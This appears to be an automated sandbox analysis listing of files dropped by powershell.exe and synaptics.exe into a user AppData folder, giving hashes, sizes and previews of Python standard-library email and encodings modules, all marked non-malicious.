              Preview:# Copyright (C) 2001-2007 Python Software Foundation..# Author: Anthony Baxter..# Contact: email-sig@python.org...."""Class representing audio/* type MIME documents."""....__all__ = ['MIMEAudio']....import sndhdr....from io import BytesIO..from email import encoders..from email.mime.nonmultipart import MIMENonMultipart........._sndhdr_MIMEmap = {'au' : 'basic',.. 'wav' :'x-wav',.. 'aiff':'x-aiff',.. 'aifc':'x-aiff',.. }....# There are others in sndhdr that don't have MIME types. :(..# Additional ones to be added to sndhdr? midi, mp3, realaudio, wma??..def _whatsnd(data):.. """Try to identify a sound file type..... sndhdr.what() has a pretty cruddy interface, unfortunately. This is why.. we re-do it here. It would be easier to reverse engineer the Unix 'file'.. command and use the standard 'magic' file, as shipped with a modern Unix... """.. hdr = data[:512].. fakefile = BytesIO(hdr).. for

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\mime\base.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):946
              Entropy (8bit):4.87252568068434
              Encrypted:false
              SSDEEP:
              MD5:643733D8FE05FDD29E434355BBE37884
              SHA1:03BFA9094629480466050858CA260DC598955A30
              SHA-256:FD0C74EE4CB66E0AB5F53EF93662C490E7614D25471E70EA5C2F4B8B06B047F4
              SHA-512:E0467CB5B333ACC2BC432623A266080795A8AD15D01093EB14701B1DA294FF1F5F08D6E439C9EC2747075C8AADE45618F1DE2095B2DDED97AFAECA1750862987
              Malicious:false
              Reputation:unknown
              Preview:# Copyright (C) 2001-2006 Python Software Foundation..# Author: Barry Warsaw..# Contact: email-sig@python.org...."""Base class for MIME specializations."""....__all__ = ['MIMEBase']....import email.policy....from email import message.........class MIMEBase(message.Message):.. """Base class for MIME specializations.""".... def __init__(self, _maintype, _subtype, *, policy=None, **_params):.. """This constructor adds a Content-Type: and a MIME-Version: header..... The Content-Type: header is taken from the _maintype and _subtype.. arguments. Additional parameters for this header are taken from the.. keyword arguments... """.. if policy is None:.. policy = email.policy.compat32.. message.Message.__init__(self, policy=policy).. ctype = '%s/%s' % (_maintype, _subtype).. self.add_header('Content-Type', ctype, **_params).. self['MIME-Version'] = '1.0'..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\mime\image.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):1875
              Entropy (8bit):4.59865181886179
              Encrypted:false
              SSDEEP:
              MD5:16672CAEC96D7917AAF125DD7276647E
              SHA1:24F2A72C284E3F5DBB7C0BA032A0B5DBF07C1E7B
              SHA-256:EBD84BB4E0B237C8028FD82213B912C45CE6C8F0AC523E6568E615C2026C84AC
              SHA-512:2EA9E30F507F8A5FC7B2A9618E84A8936F890F834E189F9DCF4C5880991537EFBA50C9951DF67663FCA79C0A45D3D3ABF69747A7840112DEA7D4A62CDA632820
              Malicious:false
              Reputation:unknown
              Preview:# Copyright (C) 2001-2006 Python Software Foundation..# Author: Barry Warsaw..# Contact: email-sig@python.org...."""Class representing image/* type MIME documents."""....__all__ = ['MIMEImage']....import imghdr....from email import encoders..from email.mime.nonmultipart import MIMENonMultipart.........class MIMEImage(MIMENonMultipart):.. """Class for generating image/* type MIME documents.""".... def __init__(self, _imagedata, _subtype=None,.. _encoder=encoders.encode_base64, *, policy=None, **_params):.. """Create an image/* type MIME document..... _imagedata contains the bytes for the raw image data. If the data.. can be decoded by the standard Python `imghdr' module, then the.. subtype will be automatically included in the Content-Type header... Otherwise, you can specify the specific image subtype via the _subtype.. parameter..... _encoder is a function which will perform the actual encoding for.. transp

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\mime\message.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):1351
              Entropy (8bit):4.752549320871495
              Encrypted:false
              SSDEEP:
              MD5:7A30E752AC45C95126D9E4164BEE4DDC
              SHA1:178924C1BE52F2D59A135B5F7D8C6BD7293F2076
              SHA-256:4915FDDEFCC2702D8771DAE38153B5FA2409DC65D1B37E1D09D86B9CCFEACA31
              SHA-512:717896109844010BBC6C47B6A4DB39F2FF04C4215CFC5397CCAAFA67AEE81ADFE487703CC750C988AD33BE4A6BB7FFE93D5C3262C3F20DEC44DB9EE31D05CEB4
              Malicious:false
              Reputation:unknown
              Preview:# Copyright (C) 2001-2006 Python Software Foundation..# Author: Barry Warsaw..# Contact: email-sig@python.org...."""Class representing message/* MIME documents."""....__all__ = ['MIMEMessage']....from email import message..from email.mime.nonmultipart import MIMENonMultipart.........class MIMEMessage(MIMENonMultipart):.. """Class representing message/* MIME documents.""".... def __init__(self, _msg, _subtype='rfc822', *, policy=None):.. """Create a message/* type MIME document..... _msg is a message object and must be an instance of Message, or a.. derived class of Message, otherwise a TypeError is raised..... Optional _subtype defines the subtype of the contained message. The.. default is "rfc822" (this is defined by the MIME standard, even though.. the term "rfc822" is technically outdated by RFC 2822)... """.. MIMENonMultipart.__init__(self, 'message', _subtype, policy=policy).. if not isinstance(_msg, message.Mes

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\mime\multipart.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):1669
              Entropy (8bit):4.575907077936182
              Encrypted:false
              SSDEEP:
              MD5:78C5928C8D1C5B8C54AFAFB82EE66E44
              SHA1:5374AFAB02EFE45CA721E84F70E973BDD426C2ED
              SHA-256:804CC010C1AB4D5230A6B56E31167421908B9BCA265A7E0BB516BA34A8C1B6F2
              SHA-512:2B348B3246E60DE9943E8FCA20A166402AAC62EB3ABF290AC18A9368F07AAFDC25DA31F84C9C0E2CCFC5C12AFA77CD8689E638A3629E2E378A92CFF3BCAC7A84
              Malicious:false
              Reputation:unknown
              Preview:# Copyright (C) 2002-2006 Python Software Foundation..# Author: Barry Warsaw..# Contact: email-sig@python.org...."""Base class for MIME multipart/* type messages."""....__all__ = ['MIMEMultipart']....from email.mime.base import MIMEBase.........class MIMEMultipart(MIMEBase):.. """Base class for MIME multipart/* type messages.""".... def __init__(self, _subtype='mixed', boundary=None, _subparts=None,.. *, policy=None,.. **_params):.. """Creates a multipart/* type message..... By default, creates a multipart/mixed message, with proper.. Content-Type and MIME-Version headers..... _subtype is the subtype of the multipart content type, defaulting to.. `mixed'..... boundary is the multipart boundary string. By default it is.. calculated as needed..... _subparts is a sequence of initial subparts for the payload. It.. must be an iterable object, such as a list. You can always.. attach

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\mime\nonmultipart.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):713
              Entropy (8bit):4.822289099304847
              Encrypted:false
              SSDEEP:
              MD5:5A28752E8A554879414A02D5D648EA84
              SHA1:3F9FD11DE698EAAB753991C7253C0FF762656D5A
              SHA-256:F6493F0506DF33DDC4B6B349BC1280BA374D4DB6E86F43411BC98A062640933F
              SHA-512:6F7F3FB449A47B91BAB42368CEEC5219370C90887A342126B4C1CFE5B8327488A772E4648C599A1A6B7BF282A0B50E29AC620B7C71ED6F80A09068B0A6A705B8
              Malicious:false
              Reputation:unknown
              Preview:# Copyright (C) 2002-2006 Python Software Foundation..# Author: Barry Warsaw..# Contact: email-sig@python.org...."""Base class for MIME type messages that are not multipart."""....__all__ = ['MIMENonMultipart']....from email import errors..from email.mime.base import MIMEBase.........class MIMENonMultipart(MIMEBase):.. """Base class for MIME non-multipart type messages.""".... def attach(self, payload):.. # The public API prohibits attaching multiple subparts to MIMEBase.. # derived subtypes since none of them are, by definition, of content.. # type multipart/*.. raise errors.MultipartConversionError(.. 'Cannot attach additional subparts to non-multipart/*')..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\mime\text.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):1479
              Entropy (8bit):4.669713874420808
              Encrypted:false
              SSDEEP:
              MD5:E9B16E7B5E7426500F70C0EC09224EE4
              SHA1:DC8F36213042123C9181119D6F00AA6F65A542CB
              SHA-256:6DB0003D37C87360177BA09299D3F4C3AE4D051389D6C6F997E38149C496624A
              SHA-512:A27F295C1CDE4ED496B7336F1FB107791E2B0DB4EA86DBD60C047722612FBB9150A4718F1C27B80BD73A910AB6F41EC15A5CEB8112410EEF39F3763858AC8B04
              Malicious:false
              Reputation:unknown
              Preview:# Copyright (C) 2001-2006 Python Software Foundation..# Author: Barry Warsaw..# Contact: email-sig@python.org...."""Class representing text/* type MIME documents."""....__all__ = ['MIMEText']....from email.charset import Charset..from email.mime.nonmultipart import MIMENonMultipart.........class MIMEText(MIMENonMultipart):.. """Class for generating text/* type MIME documents.""".... def __init__(self, _text, _subtype='plain', _charset=None, *, policy=None):.. """Create a text/* type MIME document..... _text is the string for this message object..... _subtype is the MIME sub content type, defaulting to "plain"..... _charset is the character set parameter added to the Content-Type.. header. This defaults to "us-ascii". Note that as a side-effect, the.. Content-Transfer-Encoding header will also be set... """.... # If no _charset was specified, check to see if there are non-ascii.. # characters present. If not, use 'us

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\parser.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):5172
              Entropy (8bit):4.459621934961514
              Encrypted:false
              SSDEEP:
              MD5:733C13463BE8E3E9FF0F7F9580F81890
              SHA1:FB513E85F27DAC34AE6D6233A48D118A04C5725B
              SHA-256:2A4247867376B64EE4FD66952F348305AA74EBB5484BC247E0C1D6AD63781B8E
              SHA-512:D3468F37667A47B3601BE4DCB6E7FFC0749A0D0A7673F93073C23D713854B043F0927819D4028EFFF6CB58E16074AC437406B52C625D1E2FD1E00AAEF380CACA
              Malicious:false
              Reputation:unknown
              Preview:# Copyright (C) 2001-2007 Python Software Foundation..# Author: Barry Warsaw, Thomas Wouters, Anthony Baxter..# Contact: email-sig@python.org...."""A parser of RFC 2822 and MIME email messages."""....__all__ = ['Parser', 'HeaderParser', 'BytesParser', 'BytesHeaderParser',.. 'FeedParser', 'BytesFeedParser']....from io import StringIO, TextIOWrapper....from email.feedparser import FeedParser, BytesFeedParser..from email._policybase import compat32......class Parser:.. def __init__(self, _class=None, *, policy=compat32):.. """Parser of RFC 2822 and MIME email messages..... Creates an in-memory object tree representing the email message, which.. can then be manipulated and turned over to a Generator to return the.. textual representation of the message..... The string must be formatted as a block of RFC 2822 headers and header.. continuation lines, optionally preceded by a `Unix-from' header. The.. header block is terminated ei

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\policy.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):10607
              Entropy (8bit):4.3396219054495955
              Encrypted:false
              SSDEEP:
              MD5:B50D054F2BAF51C93F864FC45ED046BC
              SHA1:54D6B86D09ABE1A2EE1D15C57E9B9E31007C12A6
              SHA-256:44B91E9F5D7B510EF085F426DAA6454FB339EA46ED8AC5302EDF84FFE4F9F3A7
              SHA-512:6FB8EC11F4BF196F1EC74EC874ADD8193AD6FF571D471177F60923333D8B3D58BB1B9BD3C510D1AED68A82E71426CC17839F741137696B9D13BADE11E0465A49
              Malicious:false
              Reputation:unknown
              Preview:"""This will be the home for the policy that hooks in the new..code that adds all the email6 features..."""....import re..import sys..from email._policybase import Policy, Compat32, compat32, _extend_docstrings..from email.utils import _has_surrogates..from email.headerregistry import HeaderRegistry as HeaderRegistry..from email.contentmanager import raw_data_manager..from email.message import EmailMessage....__all__ = [.. 'Compat32',.. 'compat32',.. 'Policy',.. 'EmailPolicy',.. 'default',.. 'strict',.. 'SMTP',.. 'HTTP',.. ]....linesep_splitter = re.compile(r'\n|\r')....@_extend_docstrings..class EmailPolicy(Policy):.... """+.. PROVISIONAL.... The API extensions enabled by this policy are currently provisional... Refer to the documentation for details..... This policy adds new header parsing and folding algorithms. Instead of.. simple strings, headers are custom objects with custom attributes.. depending on the type of the field. The fo

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\quoprimime.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):10157
              Entropy (8bit):4.8052020140652525
              Encrypted:false
              SSDEEP:
              MD5:91E0134C7993B62DF821299CBFE9CF20
              SHA1:3E647D829457FC8E76B5D36ED31AFF8F383B004F
              SHA-256:0AC88715C424E80122E3D861BBACC20EE289562F2C685AEFE40B88471515A1BD
              SHA-512:DCC68CED12BC04DC7643FE0B636AF764D7136ED203EB1E74E2B669ED6349E62F5FB6022CC86DC03B4824DFB1E8EF5D59EE648DC9D015A0A44641B6CD01EB22D4
              Malicious:false
              Reputation:unknown
              Preview:# Copyright (C) 2001-2006 Python Software Foundation..# Author: Ben Gertzfield..# Contact: email-sig@python.org...."""Quoted-printable content transfer encoding per RFCs 2045-2047.....This module handles the content transfer encoding method defined in RFC 2045..to encode US ASCII-like 8-bit data called `quoted-printable'. It is used to..safely encode text that is in a character set similar to the 7-bit US ASCII..character set, but that includes some 8-bit characters that are normally not..allowed in email bodies or headers.....Quoted-printable is very space-inefficient for encoding binary files; use the..email.base64mime module for that instead.....This module provides an interface to encode and decode both headers and bodies..with quoted-printable encoding.....RFC 2045 defines a method for including character set information in an..`encoded-word' in a header. This method is commonly used for 8-bit real names..in To:/From:/Cc: etc. fields, as well as Subject: lines.....This module do

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\utils.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):13793
              Entropy (8bit):4.70387477489613
              Encrypted:false
              SSDEEP:
              MD5:AE01B00B737EEB26F6B1A7F13FD5E07A
              SHA1:2CD748C706A7B3A7AB9D7B930BEA3DFA05B219D1
              SHA-256:521840D2F6A4500BABAF7DF27A2B1FED2E05AC0350BAF367D5454C09ACBEE525
              SHA-512:987BCF23CF619BD279C32DC2A70F5F3355300B825D6AF185EF615B6E43361F346B823F74D1234F54441D838B1C7FFEA152275A2E5724F56A6FD7A931510DBE59
              Malicious:false
              Reputation:unknown
              Preview:# Copyright (C) 2001-2010 Python Software Foundation..# Author: Barry Warsaw..# Contact: email-sig@python.org...."""Miscellaneous utilities."""....__all__ = [.. 'collapse_rfc2231_value',.. 'decode_params',.. 'decode_rfc2231',.. 'encode_rfc2231',.. 'formataddr',.. 'formatdate',.. 'format_datetime',.. 'getaddresses',.. 'make_msgid',.. 'mktime_tz',.. 'parseaddr',.. 'parsedate',.. 'parsedate_tz',.. 'parsedate_to_datetime',.. 'unquote',.. ]....import os..import re..import time..import random..import socket..import datetime..import urllib.parse....from email._parseaddr import quote..from email._parseaddr import AddressList as _AddressList..from email._parseaddr import mktime_tz....from email._parseaddr import parsedate, parsedate_tz, _parsedate_tz....# Intrapackage imports..from email.charset import Charset....COMMASPACE = ', '..EMPTYSTRING = ''..UEMPTYSTRING = ''..CRLF = '\r\n'..TICK = "'"....specialsre = re.compile(r'[][\\()<>@,:;".]')..escap

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\__pycache__\__init__.cpython-310.pyc.7301264

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):3898
              Entropy (8bit):5.535211346911776
              Encrypted:false
              SSDEEP:
              MD5:2EAC65E63C4D85A2021938092A9C0369
              SHA1:80568A9550058FF0679CC9E16D3EBA44A46B8F91
              SHA-256:C05B29F3B0DFA06557A553478307233FDE25DEE896D33B998F2BDD723922F76B
              SHA-512:CB48D51BBDC83271C08A6FFCD5C1BCC45480E005A4EFF75344FF4441DDA82B77DFDAAD2B7806E4C7A89D11415A6100814B4D46CD3783524EA4BD06A8E3335235
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...i.Z.d.Z.d.g.Z.e.j.Z.G.d.d...d.e.e...Z.d.d...Z.d.d...Z.e...e.....e.j.d.k.r@d.d...Z.e...e.....d.S.d.S.).a2... Standard "encodings" Package.. Standard Python encoding modules are stored in this package. directory... Codec modules must have names corresponding to normalized encoding. names as defined in the normalize_encoding() function below, e.g.. 'utf-8' must be implemented by the module 'utf_8.py'... Each codec module must export the following interface:.. * getregentry() -> codecs.CodecInfo object. The getregentry() API must return a CodecInfo object with encoder, decoder,. incrementalencoder, incrementaldecoder, streamwriter and streamreader. attributes which adhere to the Python Codec Interface Standard... In addition, a module may optionally also define the following. APIs which are then used by the package's codec search function:.. * getaliases() -> sequence of enc

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\__pycache__\aliases.cpython-310.pyc.7301864

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):10944
              Entropy (8bit):5.8448992828521344
              Encrypted:false
              SSDEEP:
              MD5:B7011DCC8010A71B8A230B0A2574C1C2
              SHA1:431CAA4ABC8E77C370852F6831961A54E86A5517
              SHA-256:572BDF5C57B52B23217A344655C60CBA665B85C869B9CB817CF2FCF4A69BAE4C
              SHA-512:620674DDBFB31FEA8F03DC1D81D469ACEF30C4BF61980CC927768DAFF1D920844926A20308F36EBFDD33A8A443C9FDC26407F3E01973513DD7910C647CE77157
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-dd?.......................@...s....d.Z.i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d d...d!d...d"d#..d$d#..d%d#..d&d'..d(d'..d)d'..d*d'....i.d+d,..d-d,..d.d/..d0d/..d1d2..d3d2..d4d5..d6d5..d7d8..d9d8..d:d;..d<d;..d=d>..d?d>..d@dA..dBdA..dCdD....i.dEdD..dFdG..dHdG..dIdJ..dKdJ..dLdJ..dMdN..dOdN..dPdN..dQdN..dRdS..dTdS..dUdS..dVdW..dXdW..dYdW..dZdW....i.d[dW..d\d]..d^d]..d_d]..d`da..dbda..dcda..ddde..dfde..dgde..dhdi..djdi..dkdi..dldm..dndm..dodm..dpdq....i.drdq..dsdq..dtdu..dvdu..dwdu..dxdy..dzdy..d{dy..d|dy..d}d~..d.d~..d.d~..d.d...d.d...d.d...d.d...d.d.....i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d.....i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d.....i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d..d.d..d.d..d.d..d.d..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\__pycache__\cp1252.cpython-310.pyc.7371872

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):2400
              Entropy (8bit):5.4438708452742
              Encrypted:false
              SSDEEP:
              MD5:F6FFB5C95770326FBD9930DE582E4564
              SHA1:E8FAC8A707246CB5AE632683BFD963B767206A4C
              SHA-256:ACBFD1A4241871C46859D641F5A8F4B9F38D8B77B0A8D83831597A7F8ED43EDF
              SHA-512:AB1735FDD962926BE38C932F1C92E0DBDDA170E59A7C01CD5C1F4D73F58CF42D981F6CF8DD1E30F41CB53B772DA2CE92AB0A206BD1C1812E2B5C2350D00CB1A1
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.5.......................@...s....d.Z.d.d.l.Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.e.j...Z.G.d.d...d.e.e.j...Z.d.d...Z.d.Z.e...e...Z.d.S.).zv Python Character Mapping Codec cp1252 generated from 'MAPPINGS/VENDORS/MICSFT/WINDOWS/CP1252.TXT' with gencodec.py........Nc....................@...s ...e.Z.d.Z.d.d.d...Z.d.d.d...Z.d.S.)...Codec..strictc....................C........t...|.|.t...S...N)...codecs..charmap_encode..encoding_table....self..input..errors..r.....>C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\encodings\cp1252.py..encode...........z.Codec.encodec....................C...r....r....).r......charmap_decode..decoding_tabler....r....r....r......decode....r....z.Codec.decodeN).r....)...__name__..__module__..__qualname__r....r....r....r....r....r....r........s..........r....c....................@........e.Z.d.Z.d.d.d...Z.d.S.)...IncrementalEncoderFc....................C........t...|.|.j.t...d...S...Nr....).r....r....r....r......r....r......fina

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\__pycache__\idna.cpython-310.pyc.56036784

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):5622
              Entropy (8bit):5.2340143367031775
              Encrypted:false
              SSDEEP:
              MD5:DA1FDD77BD091E2C9C038D6AA3647291
              SHA1:2269576E5724BC29FAE708730B4F44D60751DD46
              SHA-256:ED396824CB2B971DF53B9472CBA39941800C5CD83617C00A0CFC4C43E5759172
              SHA-512:7FE030AFC0A17962626E1B984C392A0134366EA46CD5FD8D49A93A296752C3978789DBE3D6811D66BAF8866D8EC6FB792BE5343138CA672E9B8F6D0B884FCA5B
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.$.......................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...e...d...Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.e.j...Z.G.d.d...d.e.e.j...Z.d.d...Z.d.S.)......N)...ucd_3_2_0u....[....]s....xn--z.xn--c....................C...s....g.}.|.D.].}.t...|...r.q.|...t...|.......q.d...|...}.t...d.|...}.|.D.]5}.t...|...sQt...|...sQt...|...sQt...|...sQt...|...sQt...|...sQt...|...sQt...|...sQt...|...rWt.d.|.......q"d.d...|.D...}.t.|...r|t.d.d...|.D.....rpt.d.....|.d...rx|.d...s|t.d.....|.S.).N....NFKCz.Invalid character %rc....................S...s....g.|.].}.t...|.....q.S...)...stringprepZ.in_table_d1.....0..xr....r.....<C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\encodings\idna.py..<listcomp>)...s......z.nameprep.<locals>.<listcomp>c....................s...s......|.].}.t...|...V...q.d.S.).N).r....Z.in_table_d2r....r....r....r......<genexpr>1...s........z.nameprep.<locals>.<genexpr>z.Violation of BIDI requirement 2r.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\__pycache__\utf_8.cpython-310.pyc.7371984

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):1620
              Entropy (8bit):4.736289147516012
              Encrypted:false
              SSDEEP:
              MD5:6849251F4E54EB27F7BEB1F89213E292
              SHA1:BD161827ACF923BB62722CFBE731F10084B8C0F2
              SHA-256:49AE6F90D8224D3585E716A1E083944CF8E80E9AEBBE6A9BC616515C7AAE6597
              SHA-512:201595E54C206E8A1AB6433C728659FA5CCFD53BCE900A04043E06739A44DC565CFC817E268390BC1597DC5A015521CC6C72A7CFA58B59CE69DC434C19C39A25
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...sp...d.Z.d.d.l.Z.e.j.Z.d.d.d...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.d.d...Z.d.S.).z. Python 'utf-8' Codec...Written by Marc-Andre Lemburg (mal@lemburg.com)...(c) Copyright CNRI, All Rights Reserved. NO WARRANTY........N..strictc....................C...s....t...|.|.d...S.).NT)...codecs..utf_8_decode)...input..errors..r.....=C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\encodings\utf_8.py..decode....s......r....c....................@...s....e.Z.d.Z.d.d.d...Z.d.S.)...IncrementalEncoderFc....................C...s....t...|.|.j...d...S.).Nr....).r......utf_8_encoder....)...selfr......finalr....r....r......encode....s......z.IncrementalEncoder.encodeN).F)...__name__..__module__..__qualname__r....r....r....r....r....r........s........r....c....................@........e.Z.d.Z.e.j.Z.d.S.)...IncrementalDecoderN).r....r....r....r....r......_buffer_decoder....r....r....r....r.................r....c....................@...r.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\aliases.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):16228
              Entropy (8bit):4.043924236672622
              Encrypted:false
              SSDEEP:
              MD5:FF23F6BB45E7B769787B0619B27BC245
              SHA1:60172E8C464711CF890BC8A4FECCFF35AA3DE17A
              SHA-256:1893CFB597BC5EAFD38EF03AC85D8874620112514EB42660408811929CC0D6F8
              SHA-512:EA6B685A859EF2FCD47B8473F43037341049B8BA3EEA01D763E2304A2C2ADDDB01008B58C14B4274D9AF8A07F686CD337DE25AFEB9A252A426D85D3B7D661EF9
              Malicious:false
              Reputation:unknown
              Preview:""" Encoding Aliases Support.... This module is used by the encodings package search function to.. map encodings names to module names..... Note that the search function normalizes the encoding names before.. doing the lookup, so the mapping will have to map normalized.. encoding names to module names..... Contents:.... The following aliases dictionary contains mappings of all IANA.. character set names for which the Python core library provides.. codecs. In addition to these, a few Python specific codec.. aliases have also been added....."""..aliases = {.... # Please keep this list sorted alphabetically by value !.... # ascii codec.. '646' : 'ascii',.. 'ansi_x3.4_1968' : 'ascii',.. 'ansi_x3_4_1968' : 'ascii', # some email headers use this non-standard name.. 'ansi_x3.4_1986' : 'ascii',.. 'cp367' : 'ascii',.. 'csascii' : 'ascii',.. 'ibm367' : 'ascii',.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\ascii.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):1298
              Entropy (8bit):4.6538766905589
              Encrypted:false
              SSDEEP:
              MD5:FF48C6334861799D8D554F5D2A30BA00
              SHA1:08520B19D0353712CDFD919B3694945678C3D2D7
              SHA-256:698C578B9B5DF7BD6F8B2761D114F74CFF854C1396083C8AB912B11FCAE83B86
              SHA-512:087A0E1BA9D9CA2C2F51F0156AD0ADA1D1EB7CCBA8B46159B95779B053D2431FC52BA1CA57FEC381EA044A7F0E41490B5389B1AF2DBF513C35CC1B29997FEE6E
              Malicious:false
              Reputation:unknown
              Preview:""" Python 'ascii' Codec......Written by Marc-Andre Lemburg (mal@lemburg.com).....(c) Copyright CNRI, All Rights Reserved. NO WARRANTY....."""..import codecs....### Codec APIs....class Codec(codecs.Codec):.... # Note: Binding these as C functions will result in the class not.. # converting them to methods. This is intended... encode = codecs.ascii_encode.. decode = codecs.ascii_decode....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.ascii_encode(input, self.errors)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.ascii_decode(input, self.errors)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....class StreamConverter(StreamWriter,StreamReader):.... encode = codecs.ascii_decode.. decode = codecs.ascii_encode....### encodings module API....def getreg

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\base64_codec.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):1588
              Entropy (8bit):4.646022236658084
              Encrypted:false
              SSDEEP:
              MD5:46F8E67E43DAC28160F47E3870B39365
              SHA1:0B1A69175889E5D4603C616EBD6E7EC456C6ABCB
              SHA-256:AC4443CEB3E045F064335AED4C9C2143F1C256DDD25AAA5A9DB4B5EE1BCCF694
              SHA-512:CFEA01544E998CAED550B37B61439014D0BA6D707068F1D7E4726A6AC8F4B8B81C2E7ED3A5DFB76687D1FDBCD7EC2DC6C5047D8061ECCBC8A59A4587FCBED253
              Malicious:false
              Reputation:unknown
